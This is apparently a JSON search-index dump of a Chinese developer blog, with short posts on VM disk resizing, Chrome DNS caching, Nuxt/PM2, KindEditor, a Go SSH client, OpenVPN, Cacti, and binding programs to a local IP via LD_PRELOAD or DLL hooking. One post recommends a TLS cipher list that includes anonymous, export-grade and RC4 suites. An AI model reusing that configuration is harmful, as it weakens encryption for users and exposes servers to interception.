/dev/mapper/vgdata-data resize2fs /dev/mapper/vgdata-data # 最后挂载磁盘 mount -a 完成\n","permalink":"https://hessian.cn/p/1654.html","summary":"# 先停止虚拟机 virsh stop test-server-1 # 修改磁盘镜像大小 qemu-img resize test-server-data +100G # 进入虚拟机后pvresize pvresize -v /dev/vdb # 扩展lv空间 lvextend -l +100%FREE /dev/mapper/vgdata-data # 调整文件系统大小，这里是ext4的文件系统，用resize2fs，在此之前还需要先执行e2fsck e2fsck -f /dev/mapper/vgdata-data resize2fs /dev/mapper/vgdata-data # 最后挂载磁盘 mount -a 完成\n","title":"虚拟机硬盘空间增加方法QEMU（QCOW） LVM"},{"content":"在进行web开发的时候，我们经常会修改hosts文件进行测试，但是偶尔会发现改了hosts文件并不能立刻生效。这是由于浏览器自身对DNS（域名指向）是有进行缓存的，除了缓存之外，由于HTTP1.1支持连接复用，如果之前打开过这个页面，那么即使清理了DNS缓存也会因为复用连接再继续连接到旧的域名指向地址。如果出现连接被复用的情况就需要手动关闭活跃连接了。\n查看实际连接地址 查看实际实际连接地址可以通过开发工具的网络面板进行查看。\n清理缓存方法 1、在地址栏输入：chrome://net-internals\n2、在DNS选项卡下，点击“Clear host cache”，清空缓存；\n关闭活跃连接方法 1、在地址栏输入：chrome://net-internals；\n2、在Sockets选项卡下，关闭活跃的连接；\n再附赠一个清除MacOS DNS缓存的方法 sudo dscacheutil -flushcache sudo killall -HUP mDNSResponder 上面三招下来还不行，再来捶我。\n","permalink":"https://hessian.cn/p/1645.html","summary":"在进行web开发的时候，我们经常会修改hosts文件进行测试，但是偶尔会发现改了hosts文件并不能立刻生效。这是由于浏览器自身对DNS（域名指向）是有进行缓存的，除了缓存之外，由于HTTP1.1支持连接复用，如果之前打开过这个页面，那么即使清理了DNS缓存也会因为复用连接再继续连接到旧的域名指向地址。如果出现连接被复用的情况就需要手动关闭活跃连接了。\n","title":"改hosts不生效？教你清理Chrome的DNS缓存"},{"content":"在我们的服务器环境中有不少Nuxt应用，但是项目的配置都有问题，会导致项目部署重启的时候会不可用，提示 502 Bad Gateway。而且启动服务的时候总会有奇怪的错误信息，而真正的错误日志又看不到。\n下面直接讲正确部署与重启的姿势是怎样。\n配置服务 首先我们需要在工程根目录创建一个PM2环境配置文件 ecosystem.config.js module.exports = {\napps: [\n{\nname: '项目名称', // 如 ks.mbachina.com\nexec_mode: 'cluster', // 启动模式，cluster为集群，无需修改\ninstances: 'max', // // 实例数量，max为CPU核心数，无需修改\nscript: './node_modules/nuxt/bin/nuxt.js', // 无需修改\nargs: 'start' // 启动参数，通常无需修改\n}\n]\n} 构建工程 这里没什么特别的，本地通过 npm run build 或者通过Jenkins进行构建部署到服务器。\n需要注意的点是需要将上面的 ecosystem.config.js 部署到服务器上的项目根目录。\n启动服务（创建服务） cd 工程目录 pm2 start 执行上面的命令之后就会自动创建出pm2服务了。\n重启服务（不停机重启） pm2 reload $项目名称 将上面命令的 $项目名称 替换为在ecosystem.config.js中配置的实际项目名称即可。\n注意这里用的是reload命令，不要用restart命令。\n再次提示，更新代码后只需要执行reload命令即可，不需要先stop、delete再start。\n参考：https://nuxtjs.org/docs/2.x/deployment/deployment-pm2\n","permalink":"https://hessian.cn/p/1643.html","summary":"在我们的服务器环境中有不少Nuxt应用，但是项目的配置都有问题，会导致项目部署重启的时候会不可用，提示 502 Bad Gateway。而且启动服务的时候总会有奇怪的错误信息，而真正的错误日志又看不到。\n","title":"Nuxt不停机部署指南"},{"content":"参考文章：https://blog.csdn.net/zhjx922/article/details/7601660\nKindEditor本身支持音视频文件的上传，但是对于这些文件的支持是依赖于浏览器控件的，兼容性很差，而且现在比较常见的视频文件MP4也不支持，因此本文提供了对KindEditor进行修改的办法，使其在添加视频后可直接使用CKplayer进行播放。\nCKplayer下载地址：http://www.ckplayer.com/down/\n我这里使用的是2018-12-20的X1版本\n使用简单调用方式：http://www.ckplayer.com/manualX/14.html\nKindEditor我为了省事，我这里使用的是kindeditor.all.js直接进行修改，其他文件大同小异。\n首先找到K.options，在embed数组中增加下面两项\n'flashvars', 'allowfullscreen' 然后修改函数 function _mediaType(src) // 把\nif (/.(swf|flv)(\\?|$)/i.test(src)) {\n// 改成\nif (/.(swf|flv|mp4)(\\?|$)/i.test(src)) { 找到函数 function _mediaEmbed(attrs) 为html中的\u0026lt;embed标签添加两个属性\nallowscriptaccess=\"always\" allowfullscreen=\"true\" 找到 KindEditor.plugin(\u0026#8216;media\u0026#8217; 修改音视频插件生成HTML的方法\n// 将原有的HTML生成代码进行修改\nvar html = K.mediaImg(self.themesPath + 'common/blank.gif', {\nsrc : url,\ntype : K.mediaType('.swf'),\nwidth : width,\nheight : height,\nquality : 'high'\n});\n// 改为\nvar html = K.mediaImg(self.themesPath + 'common/blank.gif', {\nsrc : '/resource/ckplayer/ckplayer.swf', // 这里替换成你的ckplayer.swf的实际位置\nflashvars : 'video=' + url.replace(/^video=/, ''),\ntype : K.mediaType('.swf'),\nwidth : width,\nheight : height,\nquality : 'high'\n});\n还需要将media插件代码的后半段中对视频属性修改的部分进行处理\n// 找到\nurlBox.val(attrs.src);\n// 替换为\nurlBox.val(attrs.flashvars); 最后只要在创建KindEditor实例时在items中添加\u0026#8217;media\u0026#8217;就可以了。\n","permalink":"https://hessian.cn/p/1544.html","summary":"参考文章：https://blog.csdn.net/zhjx922/article/details/7601660\nKindEditor本身支持音视频文件的上传，但是对于这些文件的支持是依赖于浏览器控件的，兼容性很差，而且现在比较常见的视频文件MP4也不支持，因此本文提供了对KindEditor进行修改的办法，使其在添加视频后可直接使用CKplayer进行播放。\n","title":"让KindEditor支持MP4视频（使用ckplayer播放器）"},{"content":"awesome-vue （项目大集合） https://github.com/vuejs/awesome-vue\n前端开发之走进Vue.js http://www.jianshu.com/p/78c9e5342990\nECMAScript 6入门 http://es6.ruanyifeng.com/\nVue.js 指南 https://cn.vuejs.org/v2/guide/\nVue.js API\nhttps://cn.vuejs.org/api\nvue-router https://github.com/vuejs/vue-routerhttp://router.vuejs.org/zh-cn/advanced/meta.html\nvue-resource\nhttps://github.com/pagekit/vue-resource\nvue-cli\n官方指南：https://cli.vuejs.org/zh/guide/ https://github.com/vuejs/vue-cli\nhttps://github.com/vuejs-templates/webpack\nhttp://vuejs-templates.github.io/webpack/\nhttps://github.com/vuejs/vue-cli\nhttps://github.com/vuejs-templates/webpack\nhttp://vuejs-templates.github.io/webpack/\nvuex 中文文档\nhttps://vuefe.cn/vuex/actions.html\n官方实例 https://github.com/vuejs/vuex/tree/dev/examples/shopping-cart\nvuex入门实例(中文，非官方) https://segmentfault.com/a/1190000005018970#articleHeader11\n饿了么Vue 2.0组件库 Element http://element.eleme.io/#/zh-CN\n","permalink":"https://hessian.cn/p/1538.html","summary":"awesome-vue （项目大集合） https://github.com/vuejs/awesome-vue\n前端开发之走进Vue.js http://www.jianshu.com/p/78c9e5342990\nECMAScript 6入门 http://es6.ruanyifeng.com/\nVue.js 指南 https://cn.vuejs.org/v2/guide/\nVue.js API\nhttps://cn.vuejs.org/api\nvue-router https://github.com/vuejs/vue-routerhttp://router.vuejs.org/zh-cn/advanced/meta.html\nvue-resource\nhttps://github.com/pagekit/vue-resource\nvue-cli\n官方指南：https://cli.vuejs.org/zh/guide/ https://github.com/vuejs/vue-cli\nhttps://github.com/vuejs-templates/webpack\nhttp://vuejs-templates.github.io/webpack/\nhttps://github.com/vuejs/vue-cli\nhttps://github.com/vuejs-templates/webpack\nhttp://vuejs-templates.github.io/webpack/\nvuex 中文文档\nhttps://vuefe.cn/vuex/actions.html\n官方实例 https://github.com/vuejs/vuex/tree/dev/examples/shopping-cart\nvuex入门实例(中文，非官方) https://segmentfault.com/a/1190000005018970#articleHeader11\n","title":"Vue.js 学习资料"},{"content":"参考文章： iOS 与 Java 服务器之间 SSL 握手失败的解决：Cipher Suites\nFlash socket在IE8下会使用TLSv1进行通信，且Cipher suites只有有限几项jre默认不支持的。 我服务端用的是Springboot+Tomcat Embed，开启debug之后会看到cipher suite不支持的异常：not found cipher suites in common。\nIE8的Cipher Suites： Cipher Suite: TLS_RSA_WITH_AES_256_CBC_SHA (0x0035) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\nCipher Suite: TLS_RSA_WITH_3DES_EDE_CBC_SHA (0x000a) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\nCipher Suite: TLS_RSA_WITH_AES_128_CBC_SHA (0x002f) \u0026nbsp;\u0026nbsp;\u0026nbsp;\nCipher Suite: TLS_RSA_WITH_RC4_128_SHA (0x0005) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\nCipher Suite: TLS_RSA_WITH_RC4_128_MD5 (0x0004) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\nCipher Suite: TLS_RSA_WITH_DES_CBC_SHA (0x0009) 而一般现在装的jdk/jre都是不包含这些的。\n可以通过下载下面这个jar替换掉jre的lib/security目录下的两个jar包进行添加。\nJava Cryptography Extension (JCE) Unlimited Strength Jurisdiction Policy Files 8 Download http://www.oracle.com/technetwork/java/javase/downloads/jce8-download-2133166.html\n添加完成之后需要在配置文件中 server.ssl.ciphers 加入，我下面列了一个比较全的，可以用这个替换。 \u0026nbsp;\u0026nbsp;\u0026nbsp; ciphers: TLS_ECDH_anon_WITH_RC4_128_SHA, TLS_ECDH_ECDSA_WITH_RC4_128_SHA, TLS_ECDH_RSA_WITH_RC4_128_SHA, TLS_ECDHE_ECDSA_WITH_RC4_128_SHA\nTLS_KRB5_EXPORT_WITH_RC4_40_MD5, TLS_KRB5_EXPORT_WITH_RC4_40_SHA\nTLS_KRB5_WITH_RC4_128_MD5, TLS_KRB5_WITH_RC4_128_SHA\nTLS_DH_anon_WITH_AES_128_GCM_SHA256, TLS_DH_anon_WITH_AES_256_GCM_SHA384\nTLS_DHE_DSS_WITH_AES_128_GCM_SHA256, TLS_DHE_DSS_WITH_AES_256_GCM_SHA384\nTLS_ECDH_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDH_ECDSA_WITH_AES_256_GCM_SHA384\nTLS_ECDH_RSA_WITH_AES_128_GCM_SHA256, TLS_ECDH_RSA_WITH_AES_256_GCM_SHA384\nTLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256, TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\nTLS_RSA_WITH_RC4_128_MD5, TLS_RSA_WITH_RC4_128_SHA\nTLS_RSA_WITH_AES_128_CBC_SHA, TLS_DHE_RSA_WITH_AES_128_CBC_SHA\nTLS_ECDHE_RSA_WITH_RC4_128_SHA, TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\nTLS_RSA_WITH_AES_128_CBC_SHA256, TLS_DHE_RSA_WITH_AES_128_CBC_SHA256\nTLS_RSA_WITH_AES_128_GCM_SHA256, TLS_DHE_RSA_WITH_AES_128_GCM_SHA256\nTLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\nTLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA\nTLS_RSA_WITH_AES_256_CBC_SHA, TLS_DHE_RSA_WITH_AES_256_CBC_SHA\nTLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, TLS_RSA_WITH_AES_256_CBC_SHA256\nTLS_DHE_RSA_WITH_AES_256_CBC_SHA256, TLS_RSA_WITH_AES_256_GCM_SHA384\nTLS_DHE_RSA_WITH_AES_256_GCM_SHA384, TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384\nTLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 ","permalink":"https://hessian.cn/p/1534.html","summary":"参考文章： iOS 与 Java 服务器之间 SSL 握手失败的解决：Cipher Suites\nFlash socket在IE8下会使用TLSv1进行通信，且Cipher suites只有有限几项jre默认不支持的。 我服务端用的是Springboot+Tomcat Embed，开启debug之后会看到cipher suite不支持的异常：not found cipher suites in common。\n","title":"解决IE8下FlashSocket无法连接java websocket的问题"},{"content":"很长一段时间以来，我的chrome打开网页就经常出现err_network_changed。一直我也没找到到底什么原因，我也以为是之前用什么SwitchyOmega、Lantern之类的代理导致的问题，墙都不翻了，真是万万也没有想到。。。\n解决办法：\nsudo launchctl remove com.alipay.DispatcherService 参考资料：\nhttps://github.com/FelisCatus/SwitchyOmega/issues/918\n","permalink":"https://hessian.cn/p/1510.html","summary":"很长一段时间以来，我的chrome打开网页就经常出现err_network_changed。一直我也没找到到底什么原因，我也以为是之前用什么SwitchyOmega、Lantern之类的代理导致的问题，墙都不翻了，真是万万也没有想到。。。\n","title":"我真是万万也没有想到 居然是支付宝的锅"},{"content":"Docker在Mac下是在VirtualBox虚拟机中运行的。VirtualBox是用共享的形式把宿主机的目录暴露给docker的container，因为默认只挂载了/Users目录，所以Docker的Data Volume都只能mount到/Users目录下面的东西。\nKitematic中的提示\nInvalid directory. Volume directories must be under your Users directory\n解决办法\n修改VirtualBox的设置，给Docker虚拟机添加共享目录 修改Docker虚拟机设置，使其能自动自动挂载共享目录 注意：Kitematic中是禁止添加/Users以外的目录的，所以要通过docker命令来创建container才能挂载到我们增加的新目录。\n操作步骤\n先打开VirtualBox的管理界面，找到Docker的虚拟机（默认是default），进入设置。\n在Shared Folders中添加你希望在Docker虚拟机中挂载的宿主机目录。\n如：把宿主机的/workspace目录共享为www\ndocker-machine ssh default cd /var/lib/boot2docker/ sudo vi bootlocal.sh #文件内容在后面，这个文件启动时会被自动执行 sudo chmod u+x bootlocal.sh sudo reboot bootlocal.sh\n#!/bin/sh mkdir -p /www mount -t vboxsf /www /www 挂载示例\ndocker run --name nginx -P -v /workspace/www:/usr/share/nginx/html -v /workspace/nginx/default.conf:/etc/nginx/conf.d/default.conf nginx 参考链接\nhttp://stackoverflow.com/questions/24212228/boot2docker-on-mac-accessing-local-files/29983253#29983253\n","permalink":"https://hessian.cn/p/1502.html","summary":"Docker在Mac下是在VirtualBox虚拟机中运行的。VirtualBox是用共享的形式把宿主机的目录暴露给docker的container，因为默认只挂载了/Users目录，所以Docker的Data Volume都只能mount到/Users目录下面的东西。\n","title":"Docker在Mac下挂在/Users之外的目录"},{"content":"互联网发明以后，我们可以很容易的去访问世界各地的知识资源。但是受限于网络环境的原因，部分资源我们去访问的时候会很慢，或者访问不了，这时候我们可以通过跳板、隧道、虚拟私有网络等形式去进行访问。在使用虚拟私有网络的过程中，大部分软件会通过修改网关地址将所有数据都通过虚拟私有网络进行传递，然而我们很多时候访问某些特定资源，比如本地资源时并不希望数据通过虚拟私有网络，这怎么办呢？\n池建强大哥在这篇博文《VPN – 长城内外，惟余莽莽》里提到了用路由表解决这个问题。可是改路由表这么麻烦的事情，想想都觉得不美。\n博主之前一直用的是国外VPS＋ssh tunnel方式“连接国外主机”，用proxy-switchysharp自动切换出口，非常方便。\n现在博主的VPS搬到国内了，功能没有了，买了个虚拟私有网络。为了继续使用proxy-switchysharp，博主用go写了个简单的本地代理服务器，让请求通过指定的IP地址转发出去从而实现跨地区资源访问的目的，而因为虚拟私有网络关闭了“Send all traffic over VPN connection”，国内资源的访问依然快速。\n目前项目托管在github，博主水平很差，欢迎各位改进\n项目地址：https://github.com/HessianZ/daisy-proxy\n可执行文件下载：\nDaisyProxy For Mac\nDaisyProxy For Windows 64\n","permalink":"https://hessian.cn/p/1472.html","summary":"互联网发明以后，我们可以很容易的去访问世界各地的知识资源。但是受限于网络环境的原因，部分资源我们去访问的时候会很慢，或者访问不了，这时候我们可以通过跳板、隧道、虚拟私有网络等形式去进行访问。在使用虚拟私有网络的过程中，大部分软件会通过修改网关地址将所有数据都通过虚拟私有网络进行传递，然而我们很多时候访问某些特定资源，比如本地资源时并不希望数据通过虚拟私有网络，这怎么办呢？\n","title":"不改路由表实现智能选择线路，提升访问国内外网站速度"},{"content":"我最近用VPN的时候觉得有些地方不太好用，比如说用HTTP代理的时候可以用Chrome的proxy-switchysharp插件做自动切换，这样访问国内资源时和访问国外资源时都很快。因此我用goproxy写了几行代码做了个可以指定本地出口IP的http proxy，连VPN时去掉“Send all traffic over VPN connection“选项，然后用proxy-switchysharp自动切换出口。\n不过现在程序还有一些问题，我尝试去访问facebook和twitter都失败了，不知道为什么，同样是https，google和stackoverflow都是正常的，求高手指点。\n＃＃＃＃＃＃＃＃＃\n好了，我知道为什么脸书和推推不能访问了，因为DNS墙了。。。解析出来的地址就不对。\n不知道有没有办法在go里面指定ResolveTCPAddr的dns服务器，我现在只能在hosts里面加上正确的IP地址来访问。\n＃＃＃＃＃＃＃＃＃\n代码如下：\npackage main\rimport (\r\"github.com/elazarl/goproxy\"\r\"log\"\r\"net\"\r\"flag\"\r\"net/http\"\r)\rvar (\rlisten = flag.String(\"listen\", \"localhost:8080\", \"listen on address\")\rip = flag.String(\"ip\", \"\", \"listen on address\")\rverbose = flag.Bool(\"verbose\", false, \"verbose output\")\r)\rfunc main() {\rflag.Parse()\rif *ip == \"\" {\rlog.Fatal(\"IP address must be speicified\")\r}\rproxy := goproxy.NewProxyHttpServer()\rproxy.Verbose = *verbose\rproxy.Tr.Dial = func (network, addr string) (c net.Conn, err error) {\rif network == \"tcp\" {\rlocalAddr, err := net.ResolveTCPAddr(network, *ip + \":0\");\rif err != nil {\rreturn nil, err;\r}\rremoteAddr, err := net.ResolveTCPAddr(network, addr);\rif err != nil {\rreturn nil, err;\r}\rreturn net.DialTCP(network, localAddr, remoteAddr);\r}\rreturn net.Dial(network, addr);\r}\rlog.Fatal(http.ListenAndServe(*listen, proxy))\r}\r使用方法\ngo run proxy.go -ip VPN虚拟网卡的IP地址 启动代理之后就可以像普通http代理一样在浏览器中使用他咯，非常方便。\n\u0026nbsp;\n另外看到一个也是基于goproxy的项目功能也挺有意思，主要是为开发者解决切换开发、生产环境麻烦的问题。有时间的话想整合一下这些功能，但是好像作者已经不更新了，而且是发布在bitbucket的。。。\nhttp://rongmayisheng.com/post/goproxy-灵活的反向代理和静态资源代理\n","permalink":"https://hessian.cn/p/1461.html","summary":"我最近用VPN的时候觉得有些地方不太好用，比如说用HTTP代理的时候可以用Chrome的proxy-switchysharp插件做自动切换，这样访问国内资源时和访问国外资源时都很快。因此我用goproxy写了几行代码做了个可以指定本地出口IP的http proxy，连VPN时去掉“Send all traffic over VPN connection“选项，然后用proxy-switchysharp自动切换出口。\n不过现在程序还有一些问题，我尝试去访问facebook和twitter都失败了，不知道为什么，同样是https，google和stackoverflow都是正常的，求高手指点。\n","title":"用goproxy实现基于VPN的本地HTTP代理"},{"content":"服务器从linode挪到阿里云了，为了备案被迫换了个域名。。。\ngoogle的蜘蛛也爬不了新站，连sitemap都抓不了。太惨了。。。难道要我整个双语版BLog？\n对了。。。备案的时候不让用博客备案，我想了个新名字叫“海塞工坊”，这回头还得换个Logo。。。哎我了个去。。。管局这帮不干人事的，备个案硬是用了我小一个月。。。\n\u0026nbsp;\n好吧，好处还是有，至少访问速度快了不少，而且终于可以用又拍云的CDN了。。。速度是不是爆快？\n","permalink":"https://hessian.cn/p/1455.html","summary":"服务器从linode挪到阿里云了，为了备案被迫换了个域名。。。\ngoogle的蜘蛛也爬不了新站，连sitemap都抓不了。太惨了。。。难道要我整个双语版BLog？\n","title":"服务器挪到阿里云了"},{"content":"执行mail输出错误信息\nsendmail: fatal: parameter inet_interfaces: no local interface found for ::1 原因是神马给忘了，记得是跟IPv6有关，解决办法就是让postfix只用IPv4。\n打开文件：/etc/postfix/main.cf\n把\ninet_protocols = all 改成\ninet_protocols = ipv4 完了之后执行\nservice postfix restart ","permalink":"https://hessian.cn/p/1450.html","summary":"执行mail输出错误信息\nsendmail: fatal: parameter inet_interfaces: no local interface found for ::1 原因是神马给忘了，记得是跟IPv6有关，解决办法就是让postfix只用IPv4。\n打开文件：/etc/postfix/main.cf\n把\ninet_protocols = all 改成\ninet_protocols = ipv4 完了之后执行\nservice postfix restart","title":"解决阿里云postfix邮件发不出去的问题"},{"content":"\u0026nbsp;\n感谢又拍云存储的杯子～ 在群里瞎混也能捡到好处，哈哈\n上图上图～～\n在上次碎杯之后显然在快递安全上做了很大改进啊。。。哈哈哈\n\u0026nbsp;\n杯子很简洁漂亮～ logo颜色很好\n\u0026nbsp;\n我的mac和蝎子～～\n","permalink":"https://hessian.cn/p/1443.html","summary":"\u0026nbsp;\n感谢又拍云存储的杯子～ 在群里瞎混也能捡到好处，哈哈\n上图上图～～\n在上次碎杯之后显然在快递安全上做了很大改进啊。。。哈哈哈\n","title":"收到UPYUN送的杯子了 很漂亮～"},{"content":"an example of ssh client in golang\nGoogle搜了好几个例子都用不了，好像是因为ssh库更新了，没办法只好自己摸索了。\n这里用的是RSA Private Key来连接，要改成用密码连接也很容易。\n参考文档：https://godoc.org/code.google.com/p/go.crypto/ssh\n// 运行前得先安装ssh支持库： go get code.google.com/p/go.crypto/ssh\rpackage main\rimport (\r\"code.google.com/p/go.crypto/ssh\"\r\"io\"\r\"log\"\r)\rvar (\rpemBytes = `-----BEGIN RSA PRIVATE KEY-----\r.......\r.......\r.......\r-----END RSA PRIVATE KEY-----`\r)\rtype keychain struct {\rsigner ssh.Signer\r}\rfunc (k *keychain) Key(i int) (ssh.PublicKey, error) {\rif i != 0 {\rreturn nil, nil\r}\rpk := k.signer.PublicKey()\rreturn pk, nil\r}\rfunc (k *keychain) Sign(i int, rand io.Reader, data []byte) (sig []byte, err error) {\rreturn k.signer.Sign(rand, data)\r}\rfunc main() {\rsigner, err := ssh.ParsePrivateKey([]byte(pemBytes))\rif err != nil {\rpanic(err)\r}\rclientKey := \u0026amp;keychain{signer}\rconfig := \u0026amp;ssh.ClientConfig{\rUser: \"Hessian\",\rAuth: []ssh.ClientAuth{\rssh.ClientAuthKeyring(clientKey),\r},\r}\rc, err := ssh.Dial(\"tcp\", \"YOUR_HOST:22\", config)\rif err != nil {\rlog.Println(\"unable to dial remote side:\", err)\r}\rdefer c.Close()\r// Create a session\rsession, err := c.NewSession()\rif err != nil {\rlog.Fatalf(\"unable to create session: %s\", err)\r}\rdefer session.Close()\rb, err := session.Output(\"ls -l\")\rif err != nil {\rlog.Fatalf(\"failed to execute: %s\", err)\r}\rlog.Println(\"Output: \", string(b))\rreturn\r} ","permalink":"https://hessian.cn/p/1420.html","summary":"an example of ssh client in golang\nGoogle搜了好几个例子都用不了，好像是因为ssh库更新了，没办法只好自己摸索了。\n这里用的是RSA Private Key来连接，要改成用密码连接也很容易。\n","title":"一个Go语言SSH客户端的例子"},{"content":"Cacti官方网站\n官方文档——Installing Under Unix\nPercona Monitoring Plugins （Plugins for Cacti）\nPercona 为我们提供了很多包括linux,apache,mysql,redis,nginx等等常见服务的监控模板非常方便。\n下载地址 | 官方文档\n监控机配置\n1. 下载Cacti\n2. 解压到wwwroot目录（cacti默认URL是/cacti，不想改配置就同样解压到www/cacti好了）\n3. 配置web服务（注意屏蔽cli目录访问）\n4. 编译安装PHP SNMP扩展\n5. 安装SNMP服务\nyum install net-snmp net-snmp-libs net-snmp-utils 如何安装PHP SNMP扩展\n进入PHP源代码目录下的ext/snmp目录，执行以下命令\nphpize\r./configure\rmake \u0026\u0026 make install 6. 修改cacti/include/config.php 配置mysql连接参数\n7. 导入cacti.sql\n8. 访问http://服务器地址/cati 开始安装\n被监控机配置\n1. 配置防火墙（打开UDP 161端口，其他端口根据需要打开）\n对于运行在网络上的服务器来说对外开发的端口自然是越少越好，可能的话最好只对内部网络开放SNMP服务。\n其他端口根据需要选择开放。\n在/etc/sysconfig/iptables添加\n-A INPUT -p udp -m state --state NEW -m udp -s 允许访问的IP --dport 161 -j ACCEPT 2. 安装SNMP服务\nyum install net-snmp net-snmp-libs net-snmp-utils\rservice snmpd start 其他注意事项：\n1. Percona的提供的脚本很多监控项目是通过ssh连接到远程服务器上，所以需要监控机有访问被监控机的权限，在Percona的脚本里是通过ssh密钥登陆的。\n2. Percona默认访问的Nginx统计地址是/server-status，可以在cacti的data source里改或者偷懒直接改scripts/ss_get_by_ssh.php。\n3. Percona为每种服务都提供了Host模板，在创建Host之后可以通过多次更改Host Template来合并不同的图表模板。当然，还是都分开比较好一点，都在一起太多了，乱。\n待续。。。\n","permalink":"https://hessian.cn/p/1411.html","summary":"Cacti官方网站\n官方文档——Installing Under Unix\nPercona Monitoring Plugins （Plugins for Cacti）\nPercona 为我们提供了很多包括linux,apache,mysql,redis,nginx等等常见服务的监控模板非常方便。\n下载地址 | 官方文档\n","title":"CentOS + Cacti 集中监控服务器 （笔记）"},{"content":"OpenVPN 源代码、安装包下载地址\n官方安装手册\n官方easy-rsa3 github\n1. 安装openvpn、easy-rsa\nyum install openvpn easy-rsa\neasy-rsa是生成秘钥用的一系列脚本集合。openvpn2.3版之后程序包里不再捆绑，需要单独安装，官方2.3版本的easy-rsa3改动比较\n大，网上也很少有用easy-rsa3的文章，为了避免麻烦，直接装源里的easy-rsa就好了。\neasy-rsa默认安装在/usr/share/easy-rsa/2.0/，为了方便我复制了一份到/etc/openvpn下面\ncp -R /usr/share/easy-rsa/2.0 /etc/openvpn/easyrsa\n2. 生成证书、秘钥\n. ./vars\n./build-key-server server\n./build-key client\n3. 配置openvpn\n4. 配置iptables\n#开启路由转发\necho 1 \u003e /proc/sys/net/ipv4/ip_forward\n# 使用NAT 让vpn客户端可以通过vpn服务器的私网IP 192.168.1.101 访问服务端私网内其他机器\n-A POSTROUTING -s 10.8.0.0/24 -j SNAT \u0026#8211;to-source 192.168.1.101\n配置路由表\nroute add -net 192.168.1.0/24 dev eth1\nroute add -net default gw 192.168.1.1\netc. 使用 用户名/密码 验证的方法\n参考文章：\n《OpenVPN服务器配置》\n《配置OpenVPN使用User/Pass方式验证登录》\n《Iptables之FORWARD转发链》\n《OpenVPN 2.0 HOWTO-局域网互访（翻译）》\n《OpenVPN服务端架设配置说明》 （图文手册，简单明了）\n","permalink":"https://hessian.cn/p/1386.html","summary":"OpenVPN 源代码、安装包下载地址\n官方安装手册\n官方easy-rsa3 github\n1. 安装openvpn、easy-rsa\nyum install openvpn easy-rsa\neasy-rsa是生成秘钥用的一系列脚本集合。openvpn2.3版之后程序包里不再捆绑，需要单独安装，官方2.3版本的easy-rsa3改动比较\n大，网上也很少有用easy-rsa3的文章，为了避免麻烦，直接装源里的easy-rsa就好了。\n","title":"CentOS 6.4 openvpn服务器搭建笔记"},{"content":"有时候我们会在机器上同时绑定多个IP地址（可能都是在一个网卡上），但是我们却无法指定程序使用哪个IP地址去建立连接。\n虽然我之前的另一篇文章《在Windows/Linux下程序指定IP地址》讲过一种hack的办法，但是并不总是那么有效。就比如博主最近遇到的一个QT写的程序，不知道为什么就是bind不了，不过万幸的是我们有源代码。\n通过修改QT框架的QNativeSocketEngine的实现我们还是可以bind到我们需要的IP地址的。\n源代码文件：src/network/socket/qnativesocketengine.cpp\n在大概410行的位置，在 d-\u003esocketType = socketType 之前添加以下代码\nif (socketType == QAbstractSocket::TcpSocket \u0026\u0026 protocol == QAbstractSocket::IPv4Protocol) {\rchar* bind_addr;\rif (bind_addr = getenv(\"BIND_ADDR\")) {\rQHostAddress bind_hostaddr = QHostAddress(QString::fromLocal8Bit(bind_addr));\rif (!d-\u003enativeBind(bind_hostaddr, 0)) {\rqDebug(\"BIND %s failed\", bind_addr);\r}\r// bind之后状态是QAbstractSocket::BoundState，但是connectToHost要求必须是UnconnectedState\rd-\u003esocketState = QAbstractSocket::UnconnectedState;\r}\r} 使用方法\nBIND_ADDR=\"你的IP地址\" /path/to/your/program 好吧，用环境变量的办法当然不是那么美型，但是最直接有效。简单就是美啊。。。哈哈\n","permalink":"https://hessian.cn/p/1401.html","summary":"有时候我们会在机器上同时绑定多个IP地址（可能都是在一个网卡上），但是我们却无法指定程序使用哪个IP地址去建立连接。\n虽然我之前的另一篇文章《在Windows/Linux下程序指定IP地址》讲过一种hack的办法，但是并不总是那么有效。就比如博主最近遇到的一个QT写的程序，不知道为什么就是bind不了，不过万幸的是我们有源代码。\n通过修改QT框架的QNativeSocketEngine的实现我们还是可以bind到我们需要的IP地址的。\n","title":"*HACK* 为QT的TCP socket连接绑定本地IP地址"},{"content":"Windows/Unix* 系统都支持为一个网卡绑定多个IP地址，但是通常操作系统会根据路由表自动选择IP地址，应用程序使用哪个IP地址用户无法主动控制。本文分别讲解在Linux和Windows下为应用程序绑定指定IP地址的方法。\n关于Windows如何选择IP地址可以参考这篇文章：《Source IP address selection on a Multi-Homed Windows Computer》\n一、 如何让Linux下的程序指定使用的IP地址 英文原文：《BINDING APPLICATIONS TO A SPECIFIC IP》\n作者Daniel Ryde采用了LD_PRELOAD进行HACK，为应用程序注入一个动态库bind.so，这个动态库中对bind和connect函数加钩子，程序建立socket连接前绑定指定的本地IP地址。\n使用方法：\nHessian:bind/ $ BIND_ADDR=\"192.168.8.9\" LD_PRELOAD=./bind.so YOUR_PROGRAME 程序源码见文末\n编译方法：\nHessian:bind/ $ gcc -nostartfiles -fpic -shared bind.c -o bind.so -ldl -D_GNU_SOURCE Hessian:bind/ $ strip bind.so 二、 如何让Windows下的程序指定使用的IP地址 在Windows实现这个功能要相对麻烦一些，博主没有找到十分简单的办法，找了很久才发现这个高大上的东西——ForceBindIP \u0026#8211; Bind any Windows application to a specific interface。\n程序原理就不翻译了，反正也没源码，不过大体跟linux版本的实现是差不多的，不过这边还多挂了WSA函数的钩子，覆盖的更完全。因为只会注入目标程序，如果网络访问是目标程序fork出去的进程发起的则不会受影响。\nForceBindIP works in two stages \u0026#8211; the loader, ForceBindIP.exe will load the target application in a suspended state. It will then inject a DLL (BindIP.dll) which loads WS2_32.DLL into memory and intercepts the bind(), connect(), sendto(), WSAConnect() and WSASendTo() functions, redirecting them to code in the DLL which 